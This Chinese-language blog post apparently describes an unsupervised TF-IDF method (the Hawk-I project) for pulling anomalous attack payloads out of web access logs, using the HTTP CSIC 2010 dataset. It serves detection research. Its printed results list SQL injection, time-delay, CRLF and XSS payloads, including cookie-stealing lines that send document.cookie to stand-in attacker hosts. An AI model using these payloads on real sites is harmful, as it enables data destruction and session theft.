讨论 | 自动化Web渗透Payload提取技术

一、写在前面

做Web安全已经三四年了，从最初的小白到今天的初探门路，小鲜肉已经熬成了油腻大叔。Web安全是一个日新月异的朝阳领域，每天的互联网上都在发生着从未暴露的0 Day和N Day攻击。这时一个大家都意识到的重要问题就浮出水面了：如何能从海量Web访问日志中把那一小撮异常请求捞出来，供安全人员分析或进行自动化实时阻断和报警?

对于这个问题，传统的方法是利用传统的WAF(无机器学习引擎)，进行规则匹配。传统WAF有其存在的意义，但也有其掣肘。首先，安全从业人员都懂，基于黑名单的防御往往存在各种被绕过的风险，看看安全论坛里各式花样打狗(安全狗)秘籍就可见一斑。其次，传统WAF只能发现已知的安全攻击行为或类型，对于新出现的攻击存在更新延迟，维护上也有比较大的成本。我认为这些问题都源于一个现实——传统WAF不能对其保护的网站进行建模，因此只能基于已知规则，对各式各样的Web系统进行统一的无差别的保护。

近年来，机器学习(包括深度学习)高调闯入人们的视野，也逐步应用在了信息安全领域。基于机器学习的WAF相关论文和文章也看了一些，似乎大家都主要应用了有监督机器学习，也都提到了一个问题：有标记的攻击数据集(黑样本)难于大量获取。而一小波提出无监督异常检测思路的文章，又会遇到精确度低的问题。

针对这些问题，我决定先进行一些分解。既然直接预测整个请求是否是攻击很难做到可接受的准确率，不妨就先把异常的攻击Payload找出来。找出来后，就可以用来进行精准的攻击分析，还可以帮助优化WAF规则等。本文所述的技术最大的优势是无监督，无需先验规则即可自动提取异常Payload。

项目GitHub： https://github.com/zhanghaoyil/Hawk-I (不断完善中，欢迎贡献代码)

二、思路

要把异常参数找出来，最显而易见要解决的问题就是如何量化请求中各参数的异常程度。为了最大化利用日志中蕴含的需要保护的Web系统自身的结构信息，我决定对请求按访问路径进行拆解，即分析参数value在同路径同参数Key的其他参数值中的异常程度。

具体算法步骤是：

1) 基于TF-IDF对不同路径下的样本分别进行特征向量化，按参数维度对特征向量进行汇聚。

2) 基于特征向量提取出样本参数在同路径同参数Key的其他参数值中异常分数AS(Anomaly Score)。

3) 设置阈值T，取出AS大于T的异常参数值作为输出。

三、数据集及预处理

本文使用HTTP CSIC 2010数据集。该数据集由西班牙最高科研理事会CSIC在论文Application of the Generic Feature Selection Measure in Detection of Web Attacks中作为附件给出的，是一个电子商务网站的访问日志，包含36000个正常请求和25000多个攻击请求。异常请求样本中包含SQL注入、文件遍历、CRLF注入、XSS、SSI等攻击样本。数据集下载链接：

http://www.isi.csic.es/dataset/ 。在本项目Github中也准备好了。

HTTP CSIC 2010数据集单个样本为如下格式：

 
 
 
 
      
  
  
  
  1. POST http://localhost:8080/tienda1/publico/anadir.jsp HTTP/1.1 
    2.   
  
  
  
  2. User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko) 
    3.   
  
  
  
  3. Pragma: no-cache 
    4.   
  
  
  
  4. Cache-control: no-cache 
    5.   
  
  
  
  5. Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,/;q=0.5 
    6.   
  
  
  
  6. Accept-Encoding: x-gzip, x-deflate, gzip, deflate 
    7.   
  
  
  
  7. Accept-Charset: utf-8, utf-8;q=0.5, *;q=0.5 
    8.   
  
  
  
  8. Accept-Language: en 
    9.   
  
  
  
  9. Host: localhost:8080 
    10.   
  
  
  
  10. Cookie: JSESSIONID=933185092E0B668B90676E0A2B0767AF 
    11.   
  
  
  
  11. Content-Type: application/x-www-form-urlencoded 
    12.   
  
  
  
  12. Connection: close 
    13.   
  
  
  
  13. Content-Length: 68 
    14.   
  
  
  
  14.  
    15.   
  
  
  
  15. id=3&nombre=Vino+Rioja&precio=100&cantidad=55&B1=A%F1adir+al+carrito 
    16.

根据观察，该数据集除路径(URI)和参数外其他Header无任何攻击Payload，具有很多冗余信息。因此对该数据集进行格式化，只保留HTTP方法、路径和参数，转为JSON格式方便后面使用。具体进行了如下预处理，具体代码见data/parse.py：

1) 去除冗余信息。

2) 执行迭代的urldecode。

3) 生成标准化的参数，将大小写字母、数字分别转换为a和n。同时保留原始参数和标准化的参数，用于最终的Payload提取。

 
 
 
 
      
  
  
  
  1. def normalize(self, s, with_sub=True): 
    2.   
  
  
  
  2.        #urldecode 
    3.   
  
  
  
  3.        while True: 
    4.   
  
  
  
  4.            new_s = parse.unquote(s, encoding='ascii', errors='ignore') 
    5.   
  
  
  
  5.            if new_s == s: 
    6.   
  
  
  
  6.                break 
    7.   
  
  
  
  7.            else: 
    8.   
  
  
  
  8.                s = new_s 
    9.   
  
  
  
  9.        #normalize 
    10.   
  
  
  
  10.        if withsub: 
    11.   
  
  
  
  11.            s = re.sub('\ufffd', 'a', s) 
    12.   
  
  
  
  12.            s = re.sub('[a-zA-Z]', 'a', s) 
    13.   
  
  
  
  13.            s = re.sub('\d', 'n', s) 
    14.   
  
  
  
  14.            s = re.sub('a+', 'a+', s) 
    15.   
  
  
  
  15.            s = re.sub('n+', 'n+', s) 
    16.   
  
  
  
  16.            s = re.sub(' ', '', s) 
    17.   
  
  
  
  17.        return s 
    18.

四、实现

根据算法步骤，项目主要分为向量化和参数异常评估和异常Payload提取两部分。

1. 向量化和参数异常分数

一个Web访问记录的成分是比较固定的，每个部分(方法、路径、参数、HTTP头、Cookie等)都有比较好的结构化特点。因此可以把Web攻击识别任务抽象为文本分类任务，而且这种思路应用在了安全领域，如有监督的攻击识别[1]、 XSS识别[2] 等。文本分类任务中常用的向量化手段有词袋模型(Bag of Word，BOW)、TF-IDF模型、词向量化(word2vec)等，兜哥的文章[3]已经做了详细的讲解。

经过对Web日志特点的分析，本文认为使用TF-IDF来对样本进行向量化效果更好。一是经过标准化后请求参数的值仍会有非常多的可能性，这种情况下词袋模型生成的特征向量长度会非常大，而且没法收缩;二是每个请求中参数个数有大有小，绝大多数不超过10个，这个时候词向量能表达的信息非常有限，并不能反映出参数value的异常性;三是TF-IDF可以表达出不同请求同一参数的值是否更有特异性，尤其是IDF项。

举个例子， http://ip.taobao.com/ipSearch.html?ipAddr=8.8.8.8 是一个查询IP详细信息的页面(真实存在)，在某一段时间内收到了10000个请求，其中9990个请求中ipAddr参数值是符合xx.xx.xx.xx这个IP的格式的，通过0×2中提到的标准化之后，也就是9990个请求的ipAddr参数为n+.n+.n+.n+ (当然这里做了简化，数字不一定为多位)。此外有10个请求的ipAddr是形如alert('XSS')、'or '1' = '1之类的不同的攻击Payload。

经过TF-IDF向量化后，那9900个请求ipAddr=n+.n+.n+.n+这一项的TF-IDF值：

 
 
 
 
      
  
  
  
  1. TF-IDF normal = TF * IDF = 1 * log(10000/(9990+1)) = 0.001 
    2.

而出现ipAddr=alert('XSS')的请求的TF-IDF值：

 
 
 
 
      
  
  
  
  1. TF-IDF abnormal = TF * IDF = 1 * log(10000/(1+1)) = 8.517 
    2.

可以看出异常请求参数value的TF-IDF是远大于正常请求的，因此TF-IDF可以很好地反映出参数value的异常程度。

熟悉TF-IDF的同学一定有疑问了，你这TF-IDF的字典也会很大呀，如果样本量很大而且有各式各样的参数value，你的特征向量岂不是稀疏得不行了?对于这个问题，我有一个解决方案，也就是将所有的TF-IDF进一步加以处理，对参数key相同的TF-IDF项进行求和。设参数key集合为K={k1, k2, …, kn}，TF-IDF字典为集合x={x1, x2, …, xm}。则每个参数key的特征值为：

 
 
 
 
      
  
  
  
  1. vn = ∑TF-IDFxn   xn∈{x | x startswith ‘kn=’} 
    2.

具体代码在vectorize/vectorizer.py中：

 
 
 
 
      
  
  
  
  1. for path, strs in path_buckets.items(): 
    2.   
  
  
  
  2.         if not strs: 
    3.   
  
  
  
  3.             continue 
    4.   
  
  
  
  4.         vectorizer = TfidfVectorizer(analyzer='word', token_pattern=r"(?u)\b\S\S+\b") 
    5.   
  
  
  
  5.         try: 
    6.   
  
  
  
  6.             tfidf = vectorizer.fit_transform(strs) 
    7.   
  
  
  
  7.             #putting same key's indices together 
    8.   
  
  
  
  8.             paramindex = {} 
    9.   
  
  
  
  9.             for kv, index in vectorizer.vocabulary.items(): 
    10.   
  
  
  
  10.                 k = kv.split('=')[0] 
    11.   
  
  
  
  11.                 if k in param_index.keys(): 
    12.   
  
  
  
  12.                     param_index[k].append(index) 
    13.   
  
  
  
  13.                 else: 
    14.   
  
  
  
  14.                     param_index[k] = [index] 
    15.   
  
  
  
  15.             #shrinking tfidf vectors 
    16.   
  
  
  
  16.             tfidf_vectors = [] 
    17.   
  
  
  
  17.             for vector in tfidf.toarray(): 
    18.   
  
  
  
  18.                 v = [] 
    19.   
  
  
  
  19.                 for param, index in param_index.items(): 
    20.   
  
  
  
  20.                     v.append(np.sum(vector[index])) 
    21.   
  
  
  
  21.                 tfidf_vectors.append(v) 
    22.   
  
  
  
  22.             #other features 
    23.   
  
  
  
  23.             other_vectors = [] 
    24.   
  
  
  
  24.             for str in strs: 
    25.   
  
  
  
  25.                 ov = [] 
    26.   
  
  
  
  26.                 kvs = str.split(' ')[:-1] 
    27.   
  
  
  
  27.                 lengths = np.array(list(map(lambda x: len(x), kvs))) 
    28.   
  
  
  
  28.                 #param count 
    29.   
  
  
  
  29.                 ov.append(len(kvs)) 
    30.   
  
  
  
  30.                 #mean kv length 
    31.   
  
  
  
  31.                 ov.append(np.mean(lengths)) 
    32.   
  
  
  
  32.                 #max kv length 
    33.   
  
  
  
  33.                 ov.append(np.max(lengths)) 
    34.   
  
  
  
  34.                 #min kv length 
    35.   
  
  
  
  35.                 ov.append(np.min(lengths)) 
    36.   
  
  
  
  36.                 #kv length std 
    37.   
  
  
  
  37.                 ov.append(np.std(lengths)) 
    38.   
  
  
  
  38.                 other_vectors.append(ov) 
    39.   
  
  
  
  39.             tfidf_vectors = np.array(tfidf_vectors) 
    40.   
  
  
  
  40.             other_vectors = np.array(other_vectors) 
    41.   
  
  
  
  41.             vectors = np.concatenate((tfidf_vectors, other_vectors), axis=1) 
    42.

这些特征向量能否充分反映样本的异常性呢?我使用未调参的随机森林模型进行验证，得到了大于95%准确率的结果，比较满意。下图是模型学习曲线，可以看出仍处于欠训练的状态，如果样本量更充足的话将会得到更好的效果。

由于本文所述方法旨在使用无监督学习提取异常参数，并不用纠结于有监督分类的结果，只要验证了提取的特征的确可以反映出参数的异常性即可。

2. 异常参数值提取

得到参数值的异常分数下面的工作就简单多了，主要就是：

  • 数据的标准化(Standardization)
  • 根据阈值确定异常参数
  • 根据异常分数在训练集矩阵的位置提取对应的参数值

这部分没有什么特别的逻辑，直接看代码吧：

 
 
 
 
      
  
  
  
  1. if name == 'main': 
    2.   
  
  
  
  2.     x = np.load(f"../vectorize/paths/~tienda1~publico~registro.jsp_x.npy") 
    3.   
  
  
  
  3.     params = np.load(f"../vectorize/paths/~tienda1~publico~registro.jsp_params.npy") 
    4.   
  
  
  
  4.     with open(f"../vectorize/paths/~tienda1~publico~registro.jsp_samples.json", 'r') as sf: 
    5.   
  
  
  
  5.         samples = json.loads(sf.readline()) 
    6.   
  
  
  
  6.     #Standardization 
    7.   
  
  
  
  7.     ases = StandardScaler().fit_transform(x[:, :len(params)]) 
    8.   
  
  
  
  8.     indices = ases > 6 
    9.   
  
  
  
  9.     #extract anomalous payload 
    10.   
  
  
  
  10.     for s in range(indices.shape[0]): 
    11.   
  
  
  
  11.         for p in range(indices.shape[1]): 
    12.   
  
  
  
  12.             if indices[s, p] and params[p] in samples[s]['OriParams'].keys() and samples[s]['OriParams'][params[p]].strip(): 
    13.   
  
  
  
  13.                 print(f"##{params[p]}## ##{samples[s]['OriParams'][params[p]]}##") 
    14.

提取结果：

 
 
 
 
      
  
  
  
  1. ##modo## ##registroalert("Paros");## 
    2.   
  
  
  
  2. ##modo## ##registroalert("Paros");## 
    3.   
  
  
  
  3. ##ntc## ##|## 
    4.   
  
  
  
  4. ##ntc## ##|## 
    5.   
  
  
  
  5. ##modo## #### 
    6.   
  
  
  
  6. ##modo## #### 
    7.   
  
  
  
  7. ##modo## ##registro' AND '1'='1## 
    8.   
  
  
  
  8. ##modo## ##registro' AND '1'='1## 
    9.   
  
  
  
  9. ##ntc## ##9851892046707743alert("Paros");## 
    10.   
  
  
  
  10. ##ntc## ##9851892046707743alert("Paros");## 
    11.   
  
  
  
  11. ##ntc## ##5024784015351535alert("Paros");## 
    12.   
  
  
  
  12. ##ntc## ##5024784015351535alert("Paros");## 
    13.   
  
  
  
  13. ##ntc## ##878731290934670A## 
    14.   
  
  
  
  14. ##ntc## ##878731290934670A## 
    15.   
  
  
  
  15. ##nombre## ##Remi'g/*io## 
    16.   
  
  
  
  16. ##nombre## ##Remi'g/*io## 
    17.   
  
  
  
  17. ##cp## ##1642A## 
    18.   
  
  
  
  18. ##cp## ##1642A## 
    19.   
  
  
  
  19. ##cp## ##any? 
    20.   
  
  
  
  20. Set-cookie:+Tamper=1041264011025374727## 
    21.   
  
  
  
  21. ##cp## ##any? 
    22.   
  
  
  
  22. Set-cookie:+Tamper=1041264011025374727## 
    23.   
  
  
  
  23. ##dni## ##'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%## 
    24.   
  
  
  
  24. ##dni## ##'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%## 
    25.   
  
  
  
  25. ##modo## ##registro@40## 
    26.   
  
  
  
  26. ##modo## ##registro@40## 
    27.   
  
  
  
  27. ##ntc## ##841140437746594A## 
    28.   
  
  
  
  28. ##ntc## ##841140437746594A## 
    29.   
  
  
  
  29. ##cp## ##31227Set-cookie:+Tamper=1041264011025374727## 
    30.   
  
  
  
  30. ##cp## ##31227Set-cookie:+Tamper=1041264011025374727## 
    31.   
  
  
  
  31. ##ntc## ##|## 
    32.   
  
  
  
  32. ##ntc## ##|## 
    33.   
  
  
  
  33. ##cp## ##paros"+style="background:url(javascript:alert('Paros'))&id=2## 
    34.   
  
  
  
  34. ##cp## ##paros"+style="background:url(javascript:alert('Paros'))&id=2## 
    35.   
  
  
  
  35. ##modo## ##|## 
    36.   
  
  
  
  36. ##modo## ##|## 
    37.   
  
  
  
  37. ##cp## ##4377A## 
    38.   
  
  
  
  38. ##cp## ##4377A## 
    39.   
  
  
  
  39. ##modo## ##+## 
    40.   
  
  
  
  40. ##modo## ##+## 
    41.   
  
  
  
  41. ##modo## ##' DELETE FROM USERS## 
    42.   
  
  
  
  42. ##modo## ##' DELETE FROM USERS## 
    43.   
  
  
  
  43. ##dni## #### 
    44.   
  
  
  
  44. ##dni## #### 
    45.   
  
  
  
  45. ##cp## #### 
    46.   
  
  
  
  46. ##cp## #### 
    47.   
  
  
  
  47. ##ntc## ##9812245040414546','0','0','0','0');waitfor delay '0:0:15';--## 
    48.   
  
  
  
  48. ##ntc## ##9812245040414546','0','0','0','0');waitfor delay '0:0:15';--## 
    49.   
  
  
  
  49. ##dni## ##684739141## 
    50.   
  
  
  
  50. ##dni## ##684739141## 
    51.   
  
  
  
  51. ##modo## ##registro' DELETE FROM USERS## 
    52.   
  
  
  
  52. ##modo## ##registro' DELETE FROM USERS## 
    53.   
  
  
  
  53. ##nombre## ##*Aitan/a## 
    54.   
  
  
  
  54. ##nombre## ##*Aitan/a## 
    55.   
  
  
  
  55. ##ntc## ##6995607131571243## 
    56.   
  
  
  
  56. ##ntc## ##6995607131571243## 
    57.   
  
  
  
  57. ##modo## ##registroalert("Paros");## 
    58.   
  
  
  
  58. ##modo## ##registroalert("Paros");## 
    59.   
  
  
  
  59. ##modo## ##','0','0','0');waitfor delay '0:0:15';--## 
    60.   
  
  
  
  60. ##modo## ##','0','0','0');waitfor delay '0:0:15';--## 
    61.   
  
  
  
  61. ##modo## ##registro';waitfor delay '0:0:15';--## 
    62.   
  
  
  
  62. ##modo## ##registro';waitfor delay '0:0:15';--## 
    63.   
  
  
  
  63. ##modo## #### 
    64.   
  
  
  
  64. ##modo## #### 
    65.   
  
  
  
  65. ##modo## ##registro"><## 
    66.   
  
  
  
  66. ##modo## ##registro"><## 
    67.   
  
  
  
  67. ##modo## ##'OR'a='a## 
    68.   
  
  
  
  68. ##modo## ##'OR'a='a## 
    69.   
  
  
  
  69. ##cp## ##any 
    70.   
  
  
  
  70. Set-cookie:+Tamper=5765205567234876235## 
    71.   
  
  
  
  71. ##cp## ##any 
    72.   
  
  
  
  72. Set-cookie:+Tamper=5765205567234876235## 
    73.   
  
  
  
  73. ##dni## ##66367222D'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%## 
    74.   
  
  
  
  74. ##dni## ##66367222D'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%## 
    75.   
  
  
  
  75. ##ntc## ##@40## 
    76.   
  
  
  
  76. ##ntc## ##@40## 
    77.   
  
  
  
  77. ##cp## ##AND 11=1## 
    78.   
  
  
  
  78. ##cp## ##AND 11=1## 
    79.   
  
  
  
  79. ##modo## ##registroAND 11=1## 
    80.   
  
  
  
  80. ##modo## ##registroAND 11=1## 
    81.   
  
  
  
  81. ##modo## ##+## 
    82.   
  
  
  
  82. ##modo## ##+## 
    83.   
  
  
  
  83. ##modo## ##registrobob@alert(Paros).parosproxy.org## 
    84.   
  
  
  
  84. ##modo## ##registrobob@alert(Paros).parosproxy.org## 
    85.   
  
  
  
  85. ##cp## ##any? 
    86.   
  
  
  
  86. Set-cookie:+Tamper=5765205567234876235## 
    87.   
  
  
  
  87. ##cp## ##any? 
    88.   
  
  
  
  88. Set-cookie:+Tamper=5765205567234876235## 
    89.   
  
  
  
  89. ##dni## ##paros"+style="background:url(javascript:alert('Paros'))&id=2## 
    90.   
  
  
  
  90. ##dni## ##paros"+style="background:url(javascript:alert('Paros'))&id=2## 
    91.   
  
  
  
  91. ##cp## ##44349','0');waitfor delay '0:0:15';--## 
    92.   
  
  
  
  92. ##cp## ##44349','0');waitfor delay '0:0:15';--## 
    93.   
  
  
  
  93. ##cp## ##sessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## 
    94.   
  
  
  
  94. ##cp## ##sessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## 
    95.   
  
  
  
  95. ##ntc## ##219312393915667A## 
    96.   
  
  
  
  96. ##ntc## ##219312393915667A## 
    97.   
  
  
  
  97. ##ntc## ##928497527479202A## 
    98.   
  
  
  
  98. ##ntc## ##928497527479202A## 
    99.   
  
  
  
  99. ##ntc## ##848868523325038A## 
    100.   
  
  
  
  100. ##ntc## ##848868523325038A## 
    101.   
  
  
  
  101. ##ntc## ##AND 11=1## 
    102.   
  
  
  
  102. ##ntc## ##AND 11=1## 
    103.   
  
  
  
  103. ##ntc## ## ## 
    104.   
  
  
  
  104. ##ntc## ## ## 
    105.   
  
  
  
  105. ##dni## ##B071B890B48F## 
    106.   
  
  
  
  106. ##dni## ##B071B890B48F## 
    107.   
  
  
  
  107. ##modo## ##registro## 
    108.   
  
  
  
  108. ##modo## ##registro## 
    109.   
  
  
  
  109. ##cp## ##26130any 
    110.   
  
  
  
  110. Set-cookie:+Tamper=5765205567234876235## 
    111.   
  
  
  
  111. ##cp## ##26130any 
    112.   
  
  
  
  112. Set-cookie:+Tamper=5765205567234876235## 
    113.   
  
  
  
  113. ##ntc## ##' AND '1'='1## 
    114.   
  
  
  
  114. ##ntc## ##' AND '1'='1## 
    115.   
  
  
  
  115. ##modo## ##registro ## 
    116.   
  
  
  
  116. ##modo## ##registro ## 
    117.   
  
  
  
  117. ##ntc## ##+## 
    118.   
  
  
  
  118. ##ntc## ##+## 
    119.   
  
  
  
  119. ##ntc## ##706790437347227A## 
    120.   
  
  
  
  120. ##ntc## ##706790437347227A## 
    121.   
  
  
  
  121. ##cp## ##+## 
    122.   
  
  
  
  122. ##cp## ##+## 
    123.   
  
  
  
  123. ##dni## ##';waitfor delay '0:0:15';--## 
    124.   
  
  
  
  124. ##dni## ##';waitfor delay '0:0:15';--## 
    125.   
  
  
  
  125. ##cp## ##44721bob@alert(Paros).parosproxy.org## 
    126.   
  
  
  
  126. ##cp## ##44721bob@alert(Paros).parosproxy.org## 
    127.   
  
  
  
  127. ##cp## #### 
    128.   
  
  
  
  128. ##cp## #### 
    129.   
  
  
  
  129. ##ntc## ##424959116693048A## 
    130.   
  
  
  
  130. ##ntc## ##424959116693048A## 
    131.   
  
  
  
  131. ##cp## ##bob@alert(Paros).parosproxy.org## 
    132.   
  
  
  
  132. ##cp## ##bob@alert(Paros).parosproxy.org## 
    133.   
  
  
  
  133. ##cp## ##31495bob@alert(Paros).parosproxy.org## 
    134.   
  
  
  
  134. ##cp## ##31495bob@alert(Paros).parosproxy.org## 
    135.   
  
  
  
  135. ##ntc## ##899062190611389A## 
    136.   
  
  
  
  136. ##ntc## ##899062190611389A## 
    137.   
  
  
  
  137. ##ntc## ##0602317509119469## 
    138.   
  
  
  
  138. ##ntc## ##0602317509119469## 
    139.   
  
  
  
  139. ##modo## ##','0');waitfor delay '0:0:15';--## 
    140.   
  
  
  
  140. ##modo## ##','0');waitfor delay '0:0:15';--## 
    141.   
  
  
  
  141. ##dni## ##' AND '1'='1## 
    142.   
  
  
  
  142. ##dni## ##' AND '1'='1## 
    143.   
  
  
  
  143. ##modo## ##registro','0','0','0','0');waitfor delay '0:0:15';--## 
    144.   
  
  
  
  144. ##modo## ##registro','0','0','0','0');waitfor delay '0:0:15';--## 
    145.   
  
  
  
  145. ##dni## ##64105812Mparos"+style="background:url(javascript:alert('Paros'))&id=2## 
    146.   
  
  
  
  146. ##dni## ##64105812Mparos"+style="background:url(javascript:alert('Paros'))&id=2## 
    147.   
  
  
  
  147. ##modo## ##sessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## 
    148.   
  
  
  
  148. ##modo## ##sessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## 
    149.   
  
  
  
  149. ##cp## ##22314','0','0');waitfor delay '0:0:15';--## 
    150.   
  
  
  
  150. ##cp## ##22314','0','0');waitfor delay '0:0:15';--## 
    151.   
  
  
  
  151. ##modo## ##sessionid=12312312& username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie?## 
    152.   
  
  
  
  152. ##modo## ##sessionid=12312312& username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie?## 
    153.   
  
  
  
  153. ##modo## ##registro@40## 
    154.   
  
  
  
  154. ##modo## ##registro@40## 
    155.   
  
  
  
  155. ##dni## ##35507034W" AND "1"="1## 
    156.   
  
  
  
  156. ##dni## ##35507034W" AND "1"="1## 
    157.   
  
  
  
  157. ##modo## ##registroSet-cookie:+Tamper=1041264011025374727## 
    158.   
  
  
  
  158. ##modo## ##registroSet-cookie:+Tamper=1041264011025374727## 
    159.   
  
  
  
  159. ##cp## ##','0','0','0','0');waitfor delay '0:0:15';--## 
    160.   
  
  
  
  160. ##cp## ##','0','0','0','0');waitfor delay '0:0:15';--## 
    161.   
  
  
  
  161. ##cp## ##08696paros" style="background:url(javascript:alert('Paros'))## 
    162.   
  
  
  
  162. ##cp## ##08696paros" style="background:url(javascript:alert('Paros'))## 
    163.   
  
  
  
  163. ##dni## ##paros" style="background:url(javascript:alert('Paros'))## 
    164.   
  
  
  
  164. ##dni## ##paros" style="background:url(javascript:alert('Paros'))## 
    165.   
  
  
  
  165. ##cp## ##0530A## 
    166.   
  
  
  
  166. ##cp## ##0530A## 
    167.   
  
  
  
  167. ##ntc## ##any 
    168.   
  
  
  
  168. Set-cookie:+Tamper=5765205567234876235## 
    169.   
  
  
  
  169. ##ntc## ##any 
    170.   
  
  
  
  170. Set-cookie:+Tamper=5765205567234876235## 
    171.   
  
  
  
  171. ##cp## ##0951A## 
    172.   
  
  
  
  172. ##cp## ##0951A## 
    173.   
  
  
  
  173. ##ntc## ##any? 
    174.   
  
  
  
  174. Set-cookie:+Tamper=5765205567234876235## 
    175.   
  
  
  
  175. ##ntc## ##any? 
    176.   
  
  
  
  176. Set-cookie:+Tamper=5765205567234876235## 
    177.   
  
  
  
  177. ##modo## ##registro"><## 
    178.   
  
  
  
  178. ##modo## ##registro"><## 
    179.   
  
  
  
  179. ##modo## ##registrosessionid=12312312& username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie?## 
    180.   
  
  
  
  180. ##modo## ##registrosessionid=12312312& username=